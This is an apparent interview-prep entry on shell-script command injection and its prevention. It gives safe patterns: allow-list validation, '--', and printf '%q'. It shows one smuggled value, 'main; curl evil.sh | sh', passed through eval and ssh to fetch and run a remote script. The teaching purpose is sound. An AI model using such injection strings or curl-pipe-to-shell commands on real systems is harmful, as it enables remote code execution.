Interview Prep/Shell Scripting/ShellCheck, debugging, testing, portability and security

What is command injection in shell scripts, and how do you prevent it?

AdvancedConceptShellCheck, debugging, testing, portability and security
Answer

Injection happens when untrusted data is interpreted as code: by eval, bash -c "$string", ssh host "cmd $var", sh -c in find -exec, or unquoted expansions that turn into options.

branch="main; curl evil.sh | sh"
eval "git checkout $branch"                  # runs the curl
ssh web1 "cd /srv && git checkout $branch"   # same problem remotely

# Safe
[[ $branch =~ ^[A-Za-z0-9._/-]+$ ]] || die "invalid branch name"
git checkout -- "$branch"
ssh web1 "cd /srv && git checkout -- $(printf '%q' "$branch")"

Rules: validate input against an allow-list, never eval user data, pass data as arguments not code, use -- to end options, and use printf '%q' when you must build a command string for a remote shell.

All Shell Scripting questions Roadmap: Shell scripting (Bash)

More on ShellCheck, debugging, testing, portability and security